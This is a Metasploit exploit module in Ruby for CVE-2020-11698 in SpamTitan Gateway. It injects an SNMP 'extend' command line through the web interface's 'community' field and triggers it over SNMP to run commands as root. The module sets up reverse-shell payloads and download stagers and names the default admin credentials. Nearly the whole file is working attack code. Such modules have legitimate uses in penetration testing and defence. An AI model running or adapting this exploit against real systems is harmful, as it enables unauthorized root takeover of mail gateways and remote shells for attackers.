335 lines
11 KiB
Ruby
335 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::SNMPClient
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'SpamTitan Unauthenticated RCE',
|
|
'Description' => %q{
|
|
TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against
|
|
unwanted emails and malwares. This module exploits an improper input
|
|
sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives
|
|
into the SNMP configuration file and get remote code execution as root. Note
|
|
that only version 7.03 needs authentication and no authentication is required
|
|
for versions 7.01, 7.02 and 7.07.
|
|
|
|
First, it sends an HTTP POST request to the `snmp-x.php` page with an `SNMPD`
|
|
command directives (`extend` + command) passed to the `community` parameter.
|
|
This payload is then added to `snmpd.conf` by the application. Finally, the
|
|
module triggers the execution of this command by querying the SNMP server for
|
|
the correct OID.
|
|
|
|
This exploit module has been successfully tested against versions 7.01, 7.02,
|
|
7.03, and 7.07.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Christophe De La Fuente', # MSF module
|
|
'Felipe Molina' # original PoC
|
|
],
|
|
'References' => [
|
|
[ 'EDB', '48856' ],
|
|
[ 'URL', 'https://www.titanhq.com/spamtitan/spamtitangateway/'],
|
|
[ 'CVE', '2020-11698']
|
|
],
|
|
'CmdStagerFlavor' => %i[fetch wget curl],
|
|
'Payload' => {
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' => [
|
|
[
|
|
'Unix In-Memory',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
|
|
'Payload' => {
|
|
'BadChars' => "\\'#",
|
|
'Encoder' => 'cmd/perl',
|
|
'PrependEncoder' => '/bin/tcsh -c \'',
|
|
'AppendEncoder' => '\'#',
|
|
'Space' => 470
|
|
},
|
|
'Type' => :unix_memory
|
|
}
|
|
],
|
|
[
|
|
'FreeBSD Dropper (x64)',
|
|
{
|
|
'Platform' => 'bsd',
|
|
'Arch' => [ARCH_X64],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
|
|
'Payload' => {
|
|
'BadChars' => "'#",
|
|
'Space' => 450
|
|
},
|
|
'Type' => :bsd_dropper
|
|
}
|
|
],
|
|
[
|
|
'FreeBSD Dropper (x86)',
|
|
{
|
|
'Platform' => 'bsd',
|
|
'Arch' => [ARCH_X86],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp' },
|
|
'Payload' => {
|
|
'BadChars' => "'#",
|
|
'Space' => 450
|
|
},
|
|
'Type' => :bsd_dropper
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => '2020-04-17',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80, true, 'The target HTTP port'),
|
|
OptPort.new('SNMPPORT', [ true, 'The target SNMP port (UDP)', 161 ]),
|
|
OptString.new('TARGETURI', [ true, 'The base path to SpamTitan', '/' ]),
|
|
OptString.new(
|
|
'USERNAME',
|
|
[
|
|
false,
|
|
'Username to authenticate, if required (depending on SpamTitan Gateway version)',
|
|
'admin'
|
|
]
|
|
),
|
|
OptString.new(
|
|
'PASSWORD',
|
|
[
|
|
false,
|
|
'Password to authenticate, if required (depending on SpamTitan Gateway version)',
|
|
'hiadmin'
|
|
]
|
|
),
|
|
OptString.new(
|
|
'COMMUNITY',
|
|
[
|
|
false,
|
|
'The SNMP Community String to use (random string by default)',
|
|
Rex::Text.rand_text_alpha(8)
|
|
]
|
|
),
|
|
OptString.new(
|
|
'ALLOWEDIP',
|
|
[
|
|
false,
|
|
'The IP address that will be allowed to query the injected `extend` '\
|
|
'command. This IP will be added to the SNMP configuration file on the '\
|
|
'target. This is tipically this host IP address, but can be different if '\
|
|
'your are in a NAT\'ed network. If not set, `LHOST` will be used '\
|
|
'instead. If `LHOST` is not set, it will default to `127.0.0.1`.'
|
|
]
|
|
),
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
def check
|
|
snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')
|
|
vprint_status("Check if #{snmp_x_uri} exists")
|
|
res = send_request_cgi(
|
|
'uri' => snmp_x_uri,
|
|
'method' => 'GET'
|
|
)
|
|
|
|
if res.nil?
|
|
return Exploit::CheckCode::Unknown.new(
|
|
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - no response"
|
|
)
|
|
end
|
|
|
|
if res.code == 302
|
|
vprint_status(
|
|
'This version of SpamTitan requires authentication. Trying with the '\
|
|
'provided credentials.'
|
|
)
|
|
res = send_request_cgi(
|
|
'uri' => '/index.php',
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'jaction' => 'none',
|
|
'language' => 'en_US',
|
|
'address' => datastore['USERNAME'],
|
|
'passwd' => datastore['PASSWORD']
|
|
}
|
|
)
|
|
if res.nil?
|
|
return Exploit::CheckCode::Safe.new('Unable to authenticate - no response')
|
|
end
|
|
|
|
if res.code == 200 && res.body =~ /Invalid username or password/
|
|
return Exploit::CheckCode::Safe.new(
|
|
'Unable to authenticate - Invalid username or password'
|
|
)
|
|
end
|
|
unless res.code == 302
|
|
return Exploit::CheckCode::Unknown.new(
|
|
"Unable to authenticate - Unexpected HTTP response code: #{res.code}"
|
|
)
|
|
end
|
|
|
|
# For whatever reason, the web application sometimes returns multiple
|
|
# PHPSESSID cookies and only the last one is valid. So, make sure only
|
|
# the valid one is part of the cookie_jar.
|
|
cookies = res.get_cookies.split(' ')
|
|
php_session = cookies.select { |cookie| cookie.starts_with?('PHPSESSID=') }.last
|
|
cookie_jar.clear
|
|
cookie_jar.add(php_session)
|
|
remaining_cookies = cookies.delete_if { |cookie| cookie.starts_with?('PHPSESSID=') }
|
|
cookie_jar.merge(remaining_cookies)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => snmp_x_uri,
|
|
'method' => 'GET'
|
|
)
|
|
end
|
|
|
|
unless res.code == 200
|
|
return Exploit::CheckCode::Safe.new(
|
|
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - "\
|
|
"unexpected HTTP response code: #{res.code}"
|
|
)
|
|
end
|
|
|
|
Exploit::CheckCode::Appears
|
|
rescue ::Rex::ConnectionError => e
|
|
vprint_error("Connection error: #{e}")
|
|
return Exploit::CheckCode::Unknown.new(
|
|
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri})"
|
|
)
|
|
end
|
|
|
|
def exploit
|
|
if target['Type'] == :unix_memory
|
|
execute_command(payload.encoded)
|
|
else
|
|
execute_cmdstager(linemax: payload_info['Space'].to_i, noconcat: true)
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
end
|
|
|
|
def inject_payload(community)
|
|
snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')
|
|
print_status("Send a request to #{snmp_x_uri} and inject the payload")
|
|
|
|
post_params = {
|
|
'jaction' => 'saveAll',
|
|
'contact' => 'CONTACT',
|
|
'name' => 'SpamTitan',
|
|
'location' => 'LOCATION',
|
|
'community' => community
|
|
}
|
|
|
|
# First, grab the CSRF token, if any (depending on the version)
|
|
res = send_request_cgi(
|
|
'uri' => '/snmp.php',
|
|
'method' => 'GET'
|
|
)
|
|
if res.code == 200
|
|
doc = ::Nokogiri::HTML(res.body)
|
|
csrf_name = doc.xpath('//input[@name=\'CSRFName\']/attribute::value').first&.value
|
|
csrf_token = doc.xpath('//input[@name=\'CSRFToken\']/attribute::value').first&.value
|
|
if csrf_name && csrf_token
|
|
print_status('CSRF token found')
|
|
post_params['CSRFName'] = csrf_name
|
|
post_params['CSRFToken'] = csrf_token
|
|
end
|
|
end
|
|
|
|
res = send_request_cgi(
|
|
'uri' => snmp_x_uri,
|
|
'method' => 'POST',
|
|
'vars_post' => post_params
|
|
)
|
|
if res.nil?
|
|
fail_with(Failure::Unreachable,
|
|
"#{peer} - Unable to inject the payload - no response")
|
|
end
|
|
unless res.code == 200
|
|
fail_with(Failure::UnexpectedReply,
|
|
"#{peer} - Unable to inject the payload - unexpected HTTP response "\
|
|
"code: #{res.code}")
|
|
end
|
|
begin
|
|
json_res = JSON.parse(res.body)['success']
|
|
rescue JSON::ParserError
|
|
json_res = nil
|
|
end
|
|
unless json_res
|
|
fail_with(Failure::UnexpectedReply,
|
|
"#{peer} - Unable to inject the payload - Unknown error: #{res.body}")
|
|
end
|
|
end
|
|
|
|
def trigger_payload(name)
|
|
print_status('Send an SNMP Get-Request to trigger the payload')
|
|
|
|
# RPORT needs to be specified since the default value is set to the web
|
|
# service port.
|
|
connect_snmp(true, 'RPORT' => datastore['SNMPPORT'])
|
|
begin
|
|
res = snmp.get("1.3.6.1.4.1.8072.1.3.2.3.1.1.8.#{name.bytes.join('.')}")
|
|
msg = "SNMP Get-Request response (status=#{res.error_status}): "\
|
|
"#{res.each_varbind.map(&:value).join('|')}"
|
|
if res.error_status == :noError
|
|
vprint_good(msg)
|
|
else
|
|
vprint_error(msg)
|
|
end
|
|
rescue SNMP::RequestTimeout, IOError
|
|
# not always expecting a response here, so timeout is likely to happen
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
if target['Type'] == :bsd_dropper
|
|
# 'tcsh' is the default shell on FreeBSD
|
|
# Also, make sure it runs in background (&) to avoid blocking
|
|
cmd = "/bin/tcsh -c '#{[cmd.gsub('\'', '\\\\\'').gsub('\\', '\\\\\\')].shelljoin}&'#"
|
|
end
|
|
name = Rex::Text.rand_text_alpha(8)
|
|
ip = datastore['ALLOWEDIP'] || datastore['LHOST'] || '127.0.0.1'
|
|
if ip == '127.0.0.1'
|
|
print_warning(
|
|
'Neither ALLOWEDIP and LHOST has been set and 127.0.0.1 will be used'\
|
|
'instead. It will probably fail to trigger the payload.'
|
|
)
|
|
end
|
|
|
|
# The injected payload consists of two lines:
|
|
# 1. the community string and the IP address allowed to query this
|
|
# community string
|
|
# 2. the `extend` keyword, the name token used to trigger the payload
|
|
# and the actual command to execute
|
|
community = "#{datastore['COMMUNITY']}\" #{ip}\nextend #{name} #{cmd}"
|
|
inject_payload(community)
|
|
|
|
# The previous HTTP POST request made the application restart the SNMPD
|
|
# service. So, wait a bit to make sure it is running.
|
|
sleep(2)
|
|
|
|
trigger_payload(name)
|
|
end
|
|
end
|